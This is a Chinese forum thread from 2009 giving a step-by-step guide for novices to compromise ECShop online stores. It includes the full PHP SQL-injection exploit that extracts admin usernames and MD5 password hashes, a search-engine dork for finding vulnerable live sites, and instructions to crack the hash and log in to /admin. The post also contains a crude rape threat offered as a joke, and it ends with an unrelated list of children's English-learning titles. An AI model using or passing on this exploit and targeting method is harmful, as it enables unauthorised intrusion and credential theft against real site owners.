返回列表 发帖

ECShop最新漏洞使用和拿站

本帖最后由 惘然 于 2009-3-25 20:40 编辑

实在没被缠得没办法了,写个这玩意给新手朋友们,老鸟直接飘过,不飘拉下来打死!
厚着脸皮发到这里吧,俺真不知道该发哪去.漏洞不是偶发现滴,EXP不是俺写滴,发原创版块好象不好,暂时将就下。不妥就转走

ECShop是一套开源的网店程序,一直以来也是漏洞颇多...
昨天狼族公布了一个目前最新版本的漏洞。出错的代码是
  1. if (empty($_GET['type']))
  2.     {
  3.         ...
  4.     }
  5.     elseif ($_GET['type'] == 'collection')
  6.     {
  7.         ...
  8.     }
  9.     $sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
  10.     $res = $db->query($sql);
复制代码
由于$sql没有初始化,存在一个明显的漏洞。使用者能够直接通过这个编译好EXP在本机得到网站管理员的帐号和MD5格式存放的密码。

利用代码在最下面,我们现在来说说如何使用它来进行拿站,但你必须先做下准备工作,具体如下

因为是PHP的exp 所以首先你必须具备PHP的环境,去网上下个PHP5看着说明装就是了。
假如我们已经在本机安装好了,那么现在开始进入正题了
首先新建一个记事本,然后把利用代码复制到里面,然后另存为一个扩展名为PHP的文件,名字自己取。所以我的是1.php
然后把1.PHP放入你PHP的文件夹中,你装在哪就放在哪,我的在C盘叫PHP5,所以我放那里面。
然后复制一个CMD进你PHP5的文件夹中,看下图,


做好这一切然后我们可以开始拿站了!

首先打开CMD 在当前目录下输入php 1.php  先试下 如果命令执行完成,如下图;


那么我们可以开始寻找网站了。接下来我们打开百度,在高级搜索里输入关键字Powered by ECShop v2.6.2 后面想填啥就啥,不写也得 我已这个版本来找的,把它设置成每页显示100条,然后点搜索,百度里出现的站大多数使用这一套程序的,虽然不是很多也够你玩了。

接下来我们随便找个站的连接,打开确定下是否是ECShop的程序或者连接正常没有
都是的话我们把记好地址,在CMD下输入php 1.php www.xxxx.com /  把中间的地址换成你的.记得要斜杠.
回车运行一下,如果出现入下图一般 就是不成功,继续换个再试!!


接下来我又换了一个,继续执行刚才的命令!!



这次是成功了,帐号和MD5都出来了,接着就是去破MD5进后台的事了. ECSHOP的默认后台一般都是\admin 地址后面加上就是了

就这些吧,郁闷,去玩吧!!

以后别叫我写这种,不然我真去你家强奸你姐了,反正大家都熟一家人以后还要好说话!!

exploit 利用代码:
  1. #!/usr/bin/php
  2. <?php

  3. print_r('
  4. +---------------------------------------------------------------------------+
  5. ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
  6. by puret_t
  7. mail: puretot at gmail dot com
  8. team: http://bbs.wolvez.org
  9. dork: "Powered by ECShop"
  10. +---------------------------------------------------------------------------+
  11. ');
  12. /**
  13. * works with register_globals = On
  14. */
  15. if ($argc < 3) {
  16.     print_r('
  17. +---------------------------------------------------------------------------+
  18. Usage: php '.$argv[0].' host path
  19. host:      target server (ip/hostname)
  20. path:      path to ecshop
  21. Example:
  22. php '.$argv[0].' localhost /ecshop/
  23. +---------------------------------------------------------------------------+
  24. ');
  25.     exit;
  26. }

  27. error_reporting(7);
  28. ini_set('max_execution_time', 0);

  29. $host = $argv[1];
  30. $path = $argv[2];

  31. $resp = send();
  32. preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);

  33. if ($hash)
  34.     exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
  35. else
  36.     exit("Exploit Failed!\n");

  37. function send()
  38. {
  39.     global $host, $path;

  40.     $cmd = 'sql=Select CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user Where action_list=0x'.bin2hex('all').' LIMIT 1#';

  41.     $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";
  42.     $data .= "Accept: */*\r\n";
  43.     $data .= "Accept-Language: zh-cn\r\n";
  44.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  45.     $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
  46.     $data .= "Host: $host\r\n";
  47.     $data .= "Content-Length: ".strlen($cmd)."\r\n";
  48.     $data .= "Connection: Close\r\n\r\n";
  49.     $data .= $cmd;

  50.     $fp = fsockopen($host, 80);
  51.     fputs($fp, $data);

  52.     $resp = '';

  53.     while ($fp && !feof($fp))
  54.         $resp .= fread($fp, 1024);

  55.     return $resp;
  56. }

  57. ?>
复制代码
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
1

评分人数

  • hackest

写个文章都不正经.我草

TOP

可怕的是解不了的MD5.....

TOP

文章是你自己写的就属于原创……
至于漏洞是谁发现的,工具是谁写的
知道就提一下,不知道就不必说了(不知道想说也不说不了吧?!)

TOP

惘然小jj得作品、贼。

TOP

少儿英语考试介绍,儿童学习英语的方法及聪明父母必知
关于剑桥少儿英语Cambridge Young   Learners English,你知多少?
少儿英语及幼教多媒体学习资源汇总
[YLE]剑桥少儿英语全国承办机构
剑桥少儿英语考试指导   考试“四字经”
剑桥少儿英语学习系统体系衔接
剑桥少儿英语管理体系
剑桥少儿英语教材的制定和发行
剑桥少儿英语培训机构管理
剑桥少儿英语考试考点及培训点
剑桥少儿英语考试YLE评分、成绩与证书
剑桥少儿英语YLE的题目范围
剑桥少儿英语师资培训
剑桥少儿英语考点分布情况
剑桥少儿英语考试费用
剑桥少儿英语
剑桥少儿英语教材介绍
[MSE]剑桥英语五级考试介绍
怎样参加剑桥少儿英语考试
剑桥少儿英语证书发放
剑桥少儿英语考试成绩
[YLE]剑桥少儿英语-孩子们的英语 English   for children
少儿英语教学律动
[YLE]剑桥少儿英语考试成绩计算
剑桥少儿英语YLE的级别-与剑桥通用英语五级系列考试的关系
剑桥少儿英语   1996-2005年各省考生人数统计
剑桥大学考试委员会(UCLES)简介
剑桥少儿英语的测试流程
剑桥少儿英语考级考试趋势与应试技巧2
剑桥少儿英语考级考试趋势与应试技巧1
剑桥少儿英语考试对考生的级别描述及年龄要求
剑桥少儿英语一级学习内容
剑桥少儿英语一级下册期中测试题
剑桥一级英语考试试题
名师分析:剑桥考试少儿英语的含金量
剑少考前冲刺在剑少考试中的重要性
名师解答:剑桥少儿英语对小升初有什么作用?
考完剑少英语三级   可考虑剑桥五级KET和三一四级
剑桥少儿英语预备级复习题
剑桥英语考试启用新题型   要求考生100%正确拼写
低年级学生为何并不适合从新概念一册学起
父母辅导孩子学习英语的技巧
剑桥少儿英语考试技巧   名师提醒不可不记
剑桥少儿英语考试"四字经"   名师考前献策
剑桥少儿英语口语考试:尽量使用平时熟悉的句型
低年级学生为何要从剑桥少儿英语学起?
剑桥少儿英语三级考生的家长说我的孩子是怎样得满盾的?
剑桥少儿英语三级的考生说怎样才能获得满盾?
剑桥少儿英语二级考生的家长说我的孩子是怎样得了满盾的
考官说怎样才能顺利通过剑桥少儿英语二级考试?
剑桥少儿英语考试,专家提醒考场注意事项
剑桥少儿英语考级考试趋势与应试技巧
剑桥少儿英语二级期中考试测试题
剑桥少儿英语三级测试题
孩子学英语快乐过程比记单词更重要
学习有困难,家长如何帮
幸福者的衬衫――和孩子一起成长的奥秘
坚持八条英文写作守则
摆脱英语作文垃圾词汇的绝技
剑桥大学考试委员会_剑少官方考生手册及样题
剑桥大学考试委员会_sample test in   detail
语言学习重在引导   少儿英语教育待改革
[YLE]剑桥少儿英语考试介绍
剑桥少儿英语考试大纲剑桥少儿英语YLE的考试形式与时间
英语国际音标一学就会共30期电子书下载(文本及听力)
睡前与孩子聊天比讲故事好
征服英语的30个好习惯
中国台湾推荐小学生必掌握的1000个词汇
剑少学习误区
喜欢英语 大声说出来
家庭英语环境“巧”营造
剑桥少儿英语考在中国的发展
100个优秀的国外儿童网站
少儿英语学习方法介绍
小朋友也能看电影学英语
让0-1岁宝宝疯狂爱上英语
家长必看_你的孩子需要参加什么样的英语培训?
中国孩子什么时候学英语合适?
孩子学英语家长须注意九大问题
孩子什么时候学外语好?四岁学外语,发音最准确
为什么学英语不怕年龄小?
幼儿英语教育经验谈
幼儿学习英语的时机与教学方式
幼儿学英语,语音占优势
专家谈幼儿学习英语应注意的一些问题
幼儿英语律动
和爸爸妈妈一起绕口令
幼儿园双语教学的体会
幼儿也学英语ABC
一位幼教专家对幼儿外语热的一点看法
教宝宝语言的五大误区
如何看待双语教育
外国专家这样教孩子学外语
赢在起点从小学习第二语言
宝宝在家里学英语的误区
巧妙激发孩子学习英语兴趣
少儿英语学习方法
让孩子轻松学英语
培养幼儿英语兴趣之我见
父母如何教宝宝学英语
少儿如何进行英语教育:培养孩子兴趣和习惯
宝宝学美语,优势在哪里
创设英语环境,提高口语能力
少儿英语培训存在六大误区
与培训机构共同探讨少儿英语学习的三大焦点
如何教儿童学习英语   ——语言习得研究对外语教学的启示
春节中孩子可以学到的英语有哪些?
为什么孩子一到英语考试就怯场?
为什么孩子的英语成绩总是不稳定?
小学阶段需不需要学音标?
寒假补习班英语试听家长该注意什么
换一种方式 孩子的英语能学得更好
孩子学英语   家长应该做到三个“不要”
背单词是少儿英语学习的第一要素?
孩子学英语 家长存在哪些误区
有了外教孩子的英语就一定能学好吗?
学好英语的法宝--有效利用时间
少儿英语要学好 英语思维很关键
为什么孩子的英语发音不准?
孩子英语发音不准,家长应该怎么办?
孩子学英语 家长该怎样鼓励?
教孩子怎样查英语字典
拥有自信是学好英语的关键
自制词汇表 快乐记单词

TOP

返回列表